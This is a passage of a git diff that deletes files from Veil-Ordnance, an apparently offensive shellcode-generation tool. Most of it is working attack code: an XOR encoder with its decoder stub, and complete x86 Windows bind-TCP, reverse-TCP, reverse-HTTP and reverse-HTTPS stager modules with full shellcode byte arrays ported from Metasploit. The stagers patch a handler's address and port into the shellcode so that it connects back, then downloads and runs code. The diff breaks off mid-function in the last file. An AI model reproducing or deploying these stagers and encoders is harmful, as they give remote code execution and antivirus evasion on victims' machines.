skipped_term += 1 - else: - self.terminator = i - break - - # Build final payload with stub - encode.append(self.terminator) - decodestub = b"\xeb\x18\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb" - decodestub += (self.terminator).to_bytes(1, byteorder='big') - decodestub += b"\x74\x0e\x80\xf3" - decodestub += (self.xor_key).to_bytes(1, byteorder='big') - decodestub += b"\x88\x1f\x47\x40\xeb\xef\xe8\xe3\xff\xff\xff" - complete = decodestub + encode - complete2 = codecs.encode(complete, 'hex') - complete2 = "\\x" + '\\x'.join(codecs.decode(complete2[i:i + 2], 'utf-8') for i in range(0, len(complete2), 2)) - self.encoded_payload_length = len(complete) - - # At this point, the shellcode is a byte array... now we convert to ASCII - self.encoded_shellcode = self.shellcode_to_ascii(complete) - incoming_payload.customized_shellcode = self.encoded_shellcode - return - - def have_bad_chars(self, incoming, chars): - for b in chars: - if b in incoming: - return True - return False - - def set_shellcode(self, shellcode): - self.shellcode = self.decode_escapes(shellcode.customized_shellcode) - return - - def set_bad_characters(self, payload_obj): - bad_characters = payload_obj.required_options["BadChars"][0] - if bad_characters is not None: - final_bad_chars = [] - bad_characters = bad_characters.split('\\x') - if '' in bad_characters: - bad_characters.remove('') - - # Do some validation on the received characters - for item in bad_characters: - if item in self.encoder_bad_chars: - print(helpers.color("[*] Encoder Error: Bad character specified is used for the decoder stub.", warning=True)) - print(helpers.color("[*] Encoder Error: Please use different bad characters or another encoder!", warning=True)) - sys.exit() - else: - if len(item) == 2: - # Thanks rohan (@cptjesus) for providing this regex code, and making me too lazy - # to do it myself - rohan_re_code = re.compile('[a-f0-9]{2}',flags=re.IGNORECASE) - if rohan_re_code.match(item): - final_bad_chars.append(item) - else: - print(helpers.color("[*] Bad Character Error: Invalid bad character detected.", warning=True)) - print(helpers.color("[*] Bad Character Error: Please provide bad characters in \\\\x00\\\\x02... format.", warning=True)) - sys.exit() - else: - print(helpers.color("[*] Bad Character Error: Invalid bad character detected.", warning=True)) - print(helpers.color("[*] Bad Character Error: Please provide bad characters in \\\\x00\\\\x01... format.", warning=True)) - sys.exit() - self.bad_chars = [int("0x" + x, 16) for x in final_bad_chars] - return - - def shellcode_to_ascii(self, shell_code): - output = "" - for b in shell_code: - output += "\\x%02x" % b - return output - - # Takes a blob as input with a single byte key and returns blob output - def xor(self, input_sc, key): - output = bytearray(b"") - for b in input_sc: - output.append(ord(b) ^ key) - return output - - def all_the_stats(self, parsed_cli_object): - print("Payload Type: " + parsed_cli_object.payload) - if parsed_cli_object.ip is None: - print("IP Address: n/a") - else: - print("IP Address: " + parsed_cli_object.ip) - print("Port: " + str(parsed_cli_object.port)) - print("Encoder Name: " + self.name) - string_bad_chars = '' - for bchar in self.bad_chars: - string_bad_chars += str(hex(bchar)) + " " - print("Bad Character(s): " + string_bad_chars) - print("Shellcode length: " + str(self.encoded_payload_length)) - print("Xor Key: " + str(hex(self.xor_key)) + "\n") - return diff --git a/Tools/Ordnance/ordnance_common/__init__.py b/Tools/Ordnance/ordnance_common/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Ordnance/ordnance_common/ordnance_helpers.py b/Tools/Ordnance/ordnance_common/ordnance_helpers.py deleted file mode 100644 index f1f4d34..0000000 --- a/Tools/Ordnance/ordnance_common/ordnance_helpers.py +++ /dev/null @@ -1,89 +0,0 @@ -""" -This file contains random helper functions for Veil-Ordnance -""" - -import os -import random -import re -import socket -import string -import struct -from lib.common import helpers - - -def check_lhost(lhost_value): - if validate_ip(lhost_value): - return True - else: - try: - lhost_value = socket.gethostbyname(lhost_value) - return True - except socket.gaierror: - return False - - -def check_lport(lport_value): - try: - if int(lport_value): - if 0 < int(lport_value) < 65535: - return True - else: - return False - except ValueError: - return False - - -def checksum_eight(string_checked): - current_sum = 0 - num_Bs = len(string_checked) - letter_values = struct.unpack("B" * num_Bs, string_checked.encode('UTF-8')) - for value in letter_values: - current_sum += value - return current_sum % 0x100 - - -def gen_uri(): - goal_sum = 92 - all_characters = list(string.digits + string.ascii_letters) - while True: - uri = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(3)) - for character in all_characters: - full_uri = uri + character - string_sum = checksum_eight(full_uri) - if string_sum == goal_sum: - return full_uri - - -def loop_req_options(payload_object): - blank_options = False - for required_option_name in payload_object.required_options.keys(): - if payload_object.required_options[required_option_name][0] == "": - blank_options = True - return blank_options - - -def title_screen(): - """ - Print the framework title, with version. - """ - os.system('clear') - print('=' * 79) - print(' ' * 35 + helpers.color('Veil-Ordnance', status=False, bold=True)) - print('=' * 79) - print(' [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework') - print('=' * 79 + '\n') - return - - -def validate_ip(val_ip): - # This came from (Mult-line link for pep8 compliance) - # http://python-iptools.googlecode.com/svn-history/r4 - # /trunk/iptools/__init__.py - ip_re = re.compile(r'^(\d{1,3}\.){0,3}\d{1,3}$') - if ip_re.match(val_ip): - quads = (int(q) for q in val_ip.split('.')) - for q in quads: - if q > 255: - return False - return True - return False diff --git a/Tools/Ordnance/ordnance_common/payload_options.py b/Tools/Ordnance/ordnance_common/payload_options.py deleted file mode 100644 index 0d61e3a..0000000 --- a/Tools/Ordnance/ordnance_common/payload_options.py +++ /dev/null @@ -1,11 +0,0 @@ -""" -This is the object used to hold payload options for Ordnance to leverage -""" - -class Payload_Details: - - def __init__(self): - self.payload = '' - self.lhost = '' - self.lport = '' - self.bad_chars = '' diff --git a/Tools/Ordnance/payloads/__init__.py b/Tools/Ordnance/payloads/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Ordnance/payloads/x86/__init__.py b/Tools/Ordnance/payloads/x86/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Ordnance/payloads/x86/bind_tcp.py b/Tools/Ordnance/payloads/x86/bind_tcp.py deleted file mode 100644 index b69ddbf..0000000 --- a/Tools/Ordnance/payloads/x86/bind_tcp.py +++ /dev/null @@ -1,104 +0,0 @@ -""" -Bind TCP Payload -Completely ported from Metasploit Framework: - https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/bind_tcp.rb -""" - -import codecs -from lib.common import helpers - - -class ShellcodeModule: - - def __init__(self, cli_arguments): - self.name = "Bind TCP Stager (Stage 1)" - self.description = "Binds to a user provided port and listens for an incoming connection" - self.cli_name = "bind_tcp" - self.platform = "Windows" - self.arch = "x86" - self.port_offset = 197 - self.customized_shellcode = '' - self.stager = ( - b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - b"\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - b"\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - b"\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - b"\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - b"\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - b"\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + - b"\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + - b"\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + - b"\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x31" + - b"\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB" + - b"\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x53\x57" + - b"\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D\x61\xFF\xD5" + - b"\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A" + - b"\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" + - b"\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3" + - b"\x29\xC6\x85\xF6\x75\xEC\xC3") - self.required_options = { - "LPORT": ["", "LPORT value"], - "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"], - "RHOST": ["", "RHOST value"] - } - - def cli_gen_shellcode(self): - '''Invokes payload generating function since nothing special is needed - for cli specifically''' - self.payload_gen() - return - - def gen_shellcode(self): - '''Invoked by main menu, generates code''' - self.payload_gen() - return - - def payload_gen(self): - port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) - if len(port_shellcode_stage.lstrip('x')) == 3: - # detect if odd number, is so, need to add a '0' to the front - port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[2:4] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 4: - port_1half = port_shellcode_stage[1:3] - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[3:5] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 2: - port_1half = port_shellcode_stage[1:3].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = '00' - port_2half = '\\x' + port_2half - port_shellcode = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 1: - port_1half = port_shellcode_stage.lstrip('x') - port_1half = '\\x0' + port_1half - port_2half = '\\x00' - port_shellcode = port_2half + port_1half - - stager_shellcode = codecs.encode(self.stager[0:self.port_offset], 'hex') - stager_shellcode = "\\x" + '\\x'.join(codecs.decode(stager_shellcode[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode), 2)) - stager_shellcode += port_shellcode - part_2 = codecs.encode(self.stager[self.port_offset + 2:], 'hex') - part_2 = "\\x" + '\\x'.join(codecs.decode(part_2[i:i + 2], 'utf-8') for i in range(0, len(part_2), 2)) - stager_shellcode += part_2 - self.customized_shellcode = stager_shellcode - return - - def print_shellcode(self): - print(self.customized_shellcode) - return - - def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) - print(self.customized_shellcode) - return diff --git a/Tools/Ordnance/payloads/x86/rev_http.py b/Tools/Ordnance/payloads/x86/rev_http.py deleted file mode 100644 index a18ba6b..0000000 --- a/Tools/Ordnance/payloads/x86/rev_http.py +++ /dev/null @@ -1,139 +0,0 @@ -""" -rev_http payload -Completely ported from Metasploit Framework: - https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_http.rb -""" - -import binascii -import codecs -from lib.common import helpers -from tools.ordnance.ordnance_common import ordnance_helpers - - -class ShellcodeModule: - - def __init__(self, cli_arguments): - self.name = "Reverse HTTP Stager (Stage 1)" - self.description = "Connects back to a handler to download and run\ - fun files over HTTP :)" - self.cli_name = "rev_http" - self.platform = "Windows" - self.arch = "x86" - self.lport_offset = 180 # This is actually going to be little endian - self.uri_offset = 252 - self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' - # The \x5c and \x11 are overwritten by the lport value - self.stager = ( - b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - b"\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - b"\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - b"\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - b"\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - b"\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - b"\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + - b"\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + - b"\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" + - b"\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x3A\x50\x68\x57\x89\x9F\xC6" + - b"\xFF\xD5\x53\x68\x00\x02\x60\x84\x53\x53\x53\xEB\x29\x53\x50\x68" + - b"\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x5F\x53\x53\x53\x53\x56\x68" + - b"\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x18\x4F\x75\xED\x68\xF0\xB5" + - b"\xA2\x56\xFF\xD5\xEB\x42\xE8\xD2\xFF\xFF\xFF\x2F\x31\x32\x33\x34" + - b"\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68" + - b"\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00" + - b"\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xBF\x8B\x07" + - b"\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x7D\xFF\xFF\xFF") - self.required_options = { - "LHOST": ["", "LHOST value"], - "LPORT": ["", "LPORT value"], - "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] - } - - def cli_gen_shellcode(self): - '''Invokes payload generating function since nothing special is needed - for cli specifically''' - self.payload_gen() - return - - def gen_shellcode(self): - '''Invoked by main menu, generates code''' - self.payload_gen() - return - - def payload_gen(self): - # Take the passed in attributes and gen shellcode - ip_shellcode = '' - n = 2 - ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) - ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] - for two_bytes in ip_shellcode_stage: - ip_shellcode += '\\x' + two_bytes.decode('UTF-8') - - # convert port to shellcode - port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) - if len(port_shellcode_stage.lstrip('x')) == 3: - # detect if odd number, is so, need to add a '0' to the front - port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[2:4] - port_2half = '\\x' + port_2half - port_little_endian = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 4: - port_1half = port_shellcode_stage[1:3] - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[3:5] - port_2half = '\\x' + port_2half - port_little_endian = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 2: - port_1half = port_shellcode_stage[1:3].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = '00' - port_2half = '\\x' + port_2half - port_little_endian = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 1: - port_1half = port_shellcode_stage.lstrip('x') - port_1half = '\\x0' + port_1half - port_2half = '\\x00' - port_little_endian = port_1half + port_2half - - # Get the URI that will be used to check in - incoming_uri = ordnance_helpers.gen_uri() - - # Convert the URI for use within shellcode - uri_shellcode = '' - hexed_uri = binascii.hexlify(incoming_uri.encode('UTF-8')) - hexed_uri = [hexed_uri[i:i + n] for i in range(0, len(hexed_uri), n)] - for two_bites in hexed_uri: - uri_shellcode += '\\x' + two_bites.decode('UTF-8') - - final_http_shellcode = codecs.encode(self.stager[0:self.lport_offset], 'hex') - final_p1 = "\\x" + '\\x'.join(codecs.decode(final_http_shellcode[i:i + 2], 'utf-8') for i in range(0, len(final_http_shellcode), 2)) - final_p1 += port_little_endian # Add 91 bytes to get to URI offset - - final_http_shellcode2 = codecs.encode(self.stager[self.lport_offset + 2:self.uri_offset], 'hex') - final_p2 = "\\x" + '\\x'.join(codecs.decode(final_http_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(final_http_shellcode2), 2)) - sc = (b'\\x00').decode('utf-8') - final_p2 += uri_shellcode + sc - - final_http_shellcode3 = codecs.encode(self.stager[self.uri_offset + 5:], 'hex') - final_p3 = "\\x" + '\\x'.join(codecs.decode(final_http_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(final_http_shellcode3), 2)) - final_p3 += ip_shellcode - final_p3 += "\\x00" - - self.customized_shellcode = final_p1 + final_p2 + final_p3 - return - - def print_shellcode(self): - print(self.customized_shellcode) - return - - def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) - print(self.customized_shellcode) - return diff --git a/Tools/Ordnance/payloads/x86/rev_https.py b/Tools/Ordnance/payloads/x86/rev_https.py deleted file mode 100644 index 55e114d..0000000 --- a/Tools/Ordnance/payloads/x86/rev_https.py +++ /dev/null @@ -1,140 +0,0 @@ -""" -rev_https payload -Completely ported from Metasploit Framework: - https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_https.rb -""" - -import binascii -import codecs -from lib.common import helpers -from tools.ordnance.ordnance_common import ordnance_helpers - - -class ShellcodeModule: - - def __init__(self, cli_arguments): - self.name = "Reverse HTTPS Stager (Stage 1)" - self.description = "Connects back to a handler to download and run\ - fun files over HTTPS :)" - self.cli_name = "rev_https" - self.platform = "Windows" - self.arch = "x86" - self.lport_offset = 180 # This is actually going to be little endian - self.uri_offset = 272 - self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' - # The \x5c and \x11 are overwritten by the lport value - self.stager = ( - b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - b"\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - b"\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - b"\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - b"\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - b"\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - b"\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + - b"\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + - b"\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" + - b"\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x4E\x50\x68\x57\x89\x9F\xC6" + - b"\xFF\xD5\x53\x68\x00\x32\xE0\x84\x53\x53\x53\xEB\x3D\x53\x50\x68" + - b"\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x5F\x68\x80\x33\x00\x00\x89" + - b"\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x53\x53" + - b"\x53\x53\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x18\x4F\x75" + - b"\xD9\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB\x42\xE8\xBE\xFF\xFF\xFF\x2F" + - b"\x31\x32\x33\x34\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00" + - b"\x40\x00\x53\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57" + - b"\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0" + - b"\x74\xBF\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x69\xFF\xFF" + - b"\xFF") - self.required_options = { - "LHOST": ["", "LHOST value"], - "LPORT": ["", "LPORT value"], - "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] - } - - def cli_gen_shellcode(self): - '''Invokes payload generating function since nothing special is needed - for cli specifically''' - self.payload_gen() - return - - def gen_shellcode(self): - '''Invoked by main menu, generates code''' - self.payload_gen() - return - - def payload_gen(self): - # Take the passed in attributes and gen shellcode - ip_shellcode = '' - n = 2 - ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) - ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] - for two_bytes in ip_shellcode_stage: - ip_shellcode += '\\x' + two_bytes.decode('UTF-8') - - # convert port to shellcode - port_shellcode_stage = str(hex(int(self.required_options["LPORT"][0])).lstrip('0')) - if len(port_shellcode_stage.lstrip('x')) == 3: - # detect if odd number, is so, need to add a '0' to the front - port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[2:4] - port_2half = '\\x' + port_2half - port_little_endian = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 4: - port_1half = port_shellcode_stage[1:3] - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[3:5] - port_2half = '\\x' + port_2half - port_little_endian = port_2half + port_1half - elif len(port_shellcode_stage.lstrip('x')) == 2: - port_1half = port_shellcode_stage[1:3].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = '00' - port_2half = '\\x' + port_2half - port_little_endian = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 1: - port_1half = port_shellcode_stage.lstrip('x') - port_1half = '\\x0' + port_1half - port_2half = '\\x00' - port_little_endian = port_1half + port_2half - - # Get the URI that will be used to check in - incoming_uri = ordnance_helpers.gen_uri() - - # Convert the URI for use within shellcode - uri_shellcode = '' - hexed_uri = binascii.hexlify(incoming_uri.encode('UTF-8')) - hexed_uri = [hexed_uri[i:i + n] for i in range(0, len(hexed_uri), n)] - for two_bites in hexed_uri: - uri_shellcode += '\\x' + two_bites.decode('UTF-8') - - final_https_shellcode = codecs.encode(self.stager[0:self.lport_offset], 'hex') - final_p1 = "\\x" + '\\x'.join(codecs.decode(final_https_shellcode[i:i + 2], 'utf-8') for i in range(0, len(final_https_shellcode), 2)) - final_p1 += port_little_endian # Add 91 bytes to get to URI offset - - final_https_shellcode2 = codecs.encode(self.stager[self.lport_offset + 2:self.uri_offset], 'hex') - final_p2 = "\\x" + '\\x'.join(codecs.decode(final_https_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(final_https_shellcode2), 2)) - sc = (b'\\x00').decode('utf-8') - final_p2 += uri_shellcode + sc - - final_https_shellcode3 = codecs.encode(self.stager[self.uri_offset + 5:], 'hex') - final_p3 = "\\x" + '\\x'.join(codecs.decode(final_https_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(final_https_shellcode3), 2)) - final_p3 += ip_shellcode - final_p3 += "\\x00" - - self.customized_shellcode = final_p1 + final_p2 + final_p3 - - def print_shellcode(self): - print(self.customized_shellcode) - return - - def payload_stats(self): - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) - print(self.customized_shellcode) - return diff --git a/Tools/Ordnance/payloads/x86/rev_tcp.py b/Tools/Ordnance/payloads/x86/rev_tcp.py deleted file mode 100644 index ea9301f..0000000 --- a/Tools/Ordnance/payloads/x86/rev_tcp.py +++ /dev/null @@ -1,133 +0,0 @@ -""" -reverse_tcp payload -Completely ported from Metasploit Framework: - https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_tcp.rb -""" - -import binascii -import codecs -import socket -from lib.common import helpers - - -class ShellcodeModule: - - def __init__(self, cli_arguments): - self.name = "Reverse TCP Stager (Stage 1)" - self.description = "Connects back to a handler to download and run\ - fun files :)" - self.cli_name = "rev_tcp" - self.platform = "Windows" - self.arch = "x86" - self.retries_offset = 192 - self.lhost_offset = 194 - self.lport_offset = 201 - self.exitfunc_offset = 226 - self.exit_func = '\xf0\xb5\xa2\x56' - self.customized_shellcode = '' - self.stager = ( - b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - b"\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - b"\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - b"\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - b"\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - b"\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - b"\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + - b"\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + - b"\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + - b"\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" + - b"\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" + - b"\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" + - b"\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + - b"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + - b"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + - b"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3") - self.required_options = { - "LHOST": ["", "LHOST value"], - "LPORT": ["", "LPORT value"], - "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], - "BadChars": ["X", "Optional: Bad characters to avoid"] - } - - def cli_gen_shellcode(self): - '''Invokes payload generating function since nothing special is needed - for cli specifically''' - self.payload_gen() - return - - def gen_shellcode(self): - '''Invoked by main menu, generates code''' - self.payload_gen() - return - - def print_shellcode(self): - '''Prints shellcode''' - print(self.customized_shellcode) - return - - def payload_stats(self): - '''Prints payload stats''' - print("Payload Name: " + helpers.color(self.name)) - print("IP Address: " + helpers.color(self.required_options['LHOST'][0])) - print("Port: " + helpers.color(str(self.required_options['LPORT'][0]))) - print("Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) - print(self.customized_shellcode) - return - - def payload_gen(self): - # Take the passed in attributes and gen shellcode - ip_shellcode = '' - n = 2 - ip_shellcode_stage = binascii.hexlify(socket.inet_aton(self.required_options["LHOST"][0])) - ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] - for two_bytes in ip_shellcode_stage: - ip_shellcode += '\\x' + two_bytes.decode('UTF-8') - - # convert port to shellcode - port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) - if len(port_shellcode_stage.lstrip('x')) == 3: - # detect if odd number, is so, need to add a '0' to the front - port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[2:4] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 4: - port_1half = port_shellcode_stage[1:3] - port_1half = '\\x' + port_1half - port_2half = port_shellcode_stage[3:5] - port_2half = '\\x' + port_2half - port_shellcode = port_1half + port_2half - elif len(port_shellcode_stage.lstrip('x')) == 2: - port_1half = port_shellcode_stage[1:3].lstrip('x') - port_1half = '\\x' + port_1half - port_2half = '00' - port_2half = '\\x' + port_2half - 